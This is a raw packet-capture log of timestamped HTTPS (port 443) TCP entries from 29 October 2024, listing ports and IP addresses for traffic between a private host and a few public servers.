Oct 29, 2024 10:47:18.490935087 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.490998983 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.491019964 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.491079092 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.491149902 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.491204977 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.491241932 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.491301060 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.491379023 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.491441965 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.491861105 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.491928101 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.492011070 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.492089033 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.492223024 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.492285013 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.492922068 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.492990971 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.493082047 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.493143082 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.493197918 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.493258953 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.493315935 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.493374109 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.493547916 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.493603945 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.493796110 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.493865013 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.493895054 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.493953943 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.530824900 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.530920029 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.530973911 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.531035900 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.591805935 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:18.591856956 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:18.591907024 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.595721960 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:18.595812082 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:18.603980064 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:18.604182005 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:18.604963064 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.605046034 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.605648041 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.605668068 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.605706930 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.605714083 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.605763912 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.605782986 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.605832100 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.606334925 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.606379986 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.606404066 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.606420040 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.606456041 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.606477976 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.607534885 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.607578993 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.607619047 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.607636929 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.607665062 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.607686996 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.607748032 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:18.607774019 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:18.607863903 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.607907057 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.607940912 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.607952118 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.607980013 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.608005047 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.608556032 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.608606100 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.608632088 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.608644009 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.608678102 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.608678102 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.609477043 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.609546900 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.609551907 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.609580994 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.609615088 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.609642982 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.610342026 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.610383987 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.610414028 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.610425949 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.610451937 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.610471964 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.610707045 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.610754967 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.610784054 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.610795021 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.610822916 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.610847950 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.611169100 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.611222982 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.611233950 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.611376047 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.611622095 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.690958977 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.734782934 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.736735106 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.741247892 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.775540113 CET	49780	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.799422979 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:18.799427032 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.799428940 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.821628094 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.826229095 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.826244116 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.826571941 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.826576948 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.826769114 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.826778889 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.826955080 CET	49780	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.826960087 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.827142954 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.827164888 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.827786922 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.827805042 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.827867985 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.827966928 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.828434944 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.830503941 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.830568075 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.830846071 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.830883026 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.830908060 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.835525036 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:18.835792065 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:18.835875034 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:18.855485916 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.855740070 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.856271029 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.856571913 CET	49780	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.856674910 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.856873989 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.856920004 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.857217073 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.857264042 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.857398987 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.858190060 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.858205080 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.858460903 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.858477116 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.858491898 CET	49780	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.858620882 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.858675957 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.858689070 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.899370909 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.901180029 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.901180029 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.901185036 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.903337955 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.990816116 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.990865946 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.990948915 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.990977049 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.991015911 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.992165089 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.992297888 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.992360115 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.992377043 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.992469072 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.992513895 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.992520094 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.992688894 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.992733955 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.994112968 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994240999 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994385958 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994411945 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994448900 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994468927 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.994472027 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994492054 CET	49780	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.994502068 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994585037 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994645119 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.994645119 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.994657993 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994667053 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994709015 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994739056 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994786024 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.994956017 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.994993925 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.995002985 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.995043039 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.995255947 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.995429993 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.995539904 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.995548010 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.999593019 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:18.999649048 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:18.999675989 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.094589949 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.112539053 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.112826109 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.112879038 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.112895966 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.112991095 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.113037109 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.113044977 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.113188028 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.113235950 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.113244057 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.113617897 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.113671064 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.113677979 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.113774061 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.113830090 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.113836050 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.113995075 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.114043951 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.114051104 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.114193916 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.114240885 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.147579908 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.621537924 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.630682945 CET	49778	443	192.168.2.4	152.199.21.175
Oct 29, 2024 10:47:19.630728960 CET	443	49778	152.199.21.175	192.168.2.4
Oct 29, 2024 10:47:19.633929014 CET	49780	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.633949995 CET	443	49780	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.634479046 CET	49783	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.634501934 CET	443	49783	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.636307001 CET	49782	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.636312962 CET	443	49782	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.636627913 CET	49781	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.636635065 CET	443	49781	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.636940956 CET	49784	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.636950016 CET	443	49784	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.645991087 CET	49779	443	192.168.2.4	104.21.57.143
Oct 29, 2024 10:47:19.646024942 CET	443	49779	104.21.57.143	192.168.2.4
Oct 29, 2024 10:47:19.678380013 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:19.678421974 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:19.678483009 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:19.678991079 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:19.679008961 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.537981033 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.538686991 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:20.538707018 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.539716005 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.539943933 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:20.540957928 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:20.541028976 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.543591022 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:20.543600082 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.702409029 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:20.888053894 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.888214111 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.888314009 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.888362885 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:20.888379097 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.888417006 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.888451099 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:20.888458967 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.888514996 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.888698101 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.888906956 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:20.888915062 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.999609947 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:20.999639988 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:20.999923944 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.000044107 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.000103951 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.000113964 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.003590107 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.003597021 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.004345894 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.004451990 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.004460096 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.013027906 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.019598961 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.019608974 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.021869898 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.022027969 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.022037029 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.030580044 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.031630039 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.031655073 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.039259911 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.039340019 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.039352894 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.047185898 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.047311068 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.047326088 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.055124998 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.055202007 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.055212021 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.062993050 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.063134909 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.063147068 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.119605064 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.119720936 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.119729042 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.119757891 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.119816065 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.119874001 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.120064020 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.120153904 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.120165110 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.120176077 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.120223045 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.120281935 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.123828888 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.123914957 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.123919964 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.123938084 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.124023914 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.124032021 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.132599115 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.132709980 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.132715940 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.135921955 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.136007071 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.136013031 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.136039019 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.136111975 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.142060041 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.147955894 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.147988081 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.148071051 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.148080111 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.148154974 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.154505014 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.159883022 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.159912109 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.159953117 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.159961939 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.160080910 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.166121006 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.172111034 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.172153950 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.172179937 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.172190905 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.172265053 CET	49785	443	192.168.2.4	142.250.186.36
Oct 29, 2024 10:47:21.178092003 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.184117079 CET	443	49785	142.250.186.36	192.168.2.4
Oct 29, 2024 10:47:21.184180021 CET	443	49785	142.250.186.36	192.168.2.4
